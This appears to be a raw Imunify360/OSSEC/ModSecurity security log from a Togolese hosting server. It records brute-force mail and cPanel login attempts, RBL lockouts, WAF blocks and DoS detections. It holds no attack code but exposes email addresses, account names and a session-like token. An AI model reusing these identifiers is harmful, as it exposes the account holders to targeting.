[2026-06-22 23:32:49 +0000] info [cpaneld] 73.127.16.4 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.40.83.4
country_id: 6252001
description:
[2026-06-22 23:32:41 +0000] info [cpaneld] 68.40.83.4 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.146.30
country_id: 6252001
description:
[2026-06-22 23:32:44 +0000] info [cpaneld] 172.59.146.30 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 209.50.186.12
country_id: 3175395
domain: cafe.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:cafetg||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:23:34:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066792&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782171288 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:23:35:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672137&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782171300 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.186.68.154
country_id: 1814991
description:
Jun 22 23:37:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.186.68.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.154
country_id: 1814991
description:
2026-06-22 23:37:47 dovecot_login authenticator failed for H=([222.186.68.154]) [222.186.68.154]:33466: 535 Incorrect authentication data (set_id=geraud@armp.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.52.13.11
country_id: 690791
description:
2026-06-22 23:38:37 dovecot_plain authenticator failed for H=(localhost) [77.52.13.11]:64759: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.167.199.119
country_id: 6252001
domain: brasseriesnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/brasseriesnb.snb.tg/uploads/images/108.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 73.217.46.241
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:23-40.73.217.46.241||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.69
country_id: 798544
description:
Jun 22 23:41:52 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.190
country_id: 2300660
description:
Jun 22 23:43:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.103.105.201
country_id: 2589581
description:
Jun 22 23:45:17 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.103.105.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.103.105.201
country_id: 2589581
description:
2026-06-22 23:45:19 dovecot_plain authenticator failed for H=(localhost) [41.103.105.201]:56846: 535 Incorrect authentication data (set_id=mointie@emt.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.101.94
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.101.94: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jun 22 23:46:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.21.148
country_id: 719819
description:
Jun 22 23:48:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.21.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.193.171.225
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/umoa-titres-le-togo-leve-327-milliards-fcfa HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.21.148
country_id: 719819
description:
Jun 22 23:48:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.21.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.129.202
country_id: 690791
description:
Jun 22 23:48:53 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.129.202 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:23:51:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6791115&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782172271 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:23:51:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027182&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782172276 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.86.152.38
country_id: 1880251
domain: brasseriesnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/brasseriesnb.snb.tg/uploads/images/105.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.112.178.202
country_id: 2328926
description:
2026-06-22 23:55:21 dovecot_plain authenticator failed for H=(localhost) [105.112.178.202]:29784: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.112.178.202
country_id: 2328926
description:
Jun 22 23:55:19 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.112.178.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 22 23:56:19 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.167.245.120
country_id: 660013
description:
Denial of Service (DoS) attack was discovered from 193.167.245.120: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 18.101.181.173
country_id: 2510769
domain: www.sp-eau.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:18.101.181.173||TA:18.101.181.173||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.10.139.50
country_id: 1643084
description:
114.10.139.50 - - [22/Jun/2026:23:58:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185115&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782172723 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.10.139.50


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Track WordPress admin user creation||WPU:ABen||NewUser:Anselme||Email:yaoavi21@gmail.com||Role:author||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.133
country_id: 2635167
description:
[2026-06-23 00:00:40 +0000] info [cpaneld] 5.230.133.133 NEW newistm:khAF0cnYFJd0MEJQ address=5.230.133.133,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.253
country_id: 690791
description:
Jun 23 00:01:05 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 8.243.161.141
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/page/aeac9f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.50.57.225
country_id: 3277605
description:
2026-06-23 00:01:12 dovecot_plain authenticator failed for H=(localhost) [185.50.57.225]:54289: 535 Incorrect authentication data (set_id=agounkej@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:01:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:01:27 dovecot_login authenticator failed for H=(SmfBeKI5) [77.83.39.77]:65150: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:01:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:01:45 dovecot_login authenticator failed for H=(TomDH9o9Ld) [77.83.39.77]:55409: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:02:55 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.41.48.22
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tribunal-militaire-de-lome-le-lieutenant-colonel-dadjo-ograbako-nomme-procureur-general HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:02:39 dovecot_login authenticator failed for H=(5OH1FlPI) [77.83.39.77]:52114: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.234.132
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.147.234.132||TA:45.147.234.132||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:03:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:03:51 dovecot_login authenticator failed for H=(inYKj8f) [77.83.39.77]:51482: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:04:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:04:45 dovecot_login authenticator failed for H=(vo31O25) [77.83.39.77]:56143: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:05:03 dovecot_login authenticator failed for H=(gEcUbbCtB) [77.83.39.77]:57425: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.197.20.93
country_id: 241170
domain: brasseriesnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/brasseriesnb.snb.tg/uploads/images/109.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:05:39 dovecot_login authenticator failed for H=(5opVwZQ) [77.83.39.77]:59987: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:05:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:06:51 dovecot_login authenticator failed for H=(7l83t9iC) [77.83.39.77]:50010: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.38.37.39
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/page/1117923215 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.215
country_id: 6252001
description:
Jun 23 00:07:01 ns5 pure-ftpd[2858073]: (?@205.210.31.215) [INFO] New connection from 205.210.31.215


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:06:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.205.65
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/6936 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:07:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:07:45 dovecot_login authenticator failed for H=(F4Qrj45G) [77.83.39.77]:64920: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:09:15 dovecot_login authenticator failed for H=(NwsvHR) [77.83.39.77]:60386: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:08:39 dovecot_login authenticator failed for H=(annVKd) [77.83.39.77]:50727: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:08:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:09:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:09:51 dovecot_login authenticator failed for H=(aycz03PlR3) [77.83.39.77]:60587: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:10:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:10:45 dovecot_login authenticator failed for H=(x7pqebpHz) [77.83.39.77]:52976: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:11:43 dovecot_login authenticator failed for H=(FzHfiicn1i) [77.83.39.77]:61783: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:11:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.254.167.18
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/Page-7-B.jpg 800w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-7-B-300x221.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-7-B-768x566.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:12:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:12:45 dovecot_login authenticator failed for H=(gGwv60mEk7) [77.83.39.77]:55855: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.247.120.48
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/page/782706330 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 00:14:01 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 00:13:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 00:14:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43034: 535 Incorrect authentication data (set_id=diva)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.66
country_id: 130758
description:
Jun 23 00:13:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:13:57 dovecot_login authenticator failed for H=(3hVJzmjLV) [77.83.39.77]:61527: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 00:14:18 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 00:14:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29966: 535 Incorrect authentication data (set_id=gucchi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:13:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 00:13:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 00:13:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11420: 535 Incorrect authentication data (set_id=panel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 00:13:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18284: 535 Incorrect authentication data (set_id=fortune)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 00:14:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51420: 535 Incorrect authentication data (set_id=asdasd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 00:14:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54960: 535 Incorrect authentication data (set_id=recruit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 00:14:09 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:13:39 dovecot_login authenticator failed for H=(5bTfYX82) [77.83.39.77]:64924: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 00:13:59 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 00:15:03 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 00:14:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57568: 535 Incorrect authentication data (set_id=esxi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 00:14:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 00:14:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:19056: 535 Incorrect authentication data (set_id=secureftp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.159.90.127
country_id: 2750405
description:
2026-06-23 00:15:30 dovecot_login authenticator failed for H=(ADMIN) [203.159.90.127]:55498: 535 Incorrect authentication data (set_id=mailer-daemon@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 00:14:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27234: 535 Incorrect authentication data (set_id=fabienne)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 00:14:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 23 00:15:16 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 00:14:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 00:15:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5358: 535 Incorrect authentication data (set_id=ceo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-23 00:15:18 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:55571: 535 Incorrect authentication data (set_id=sonicwall)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 00:14:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58110: 535 Incorrect authentication data (set_id=pana)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
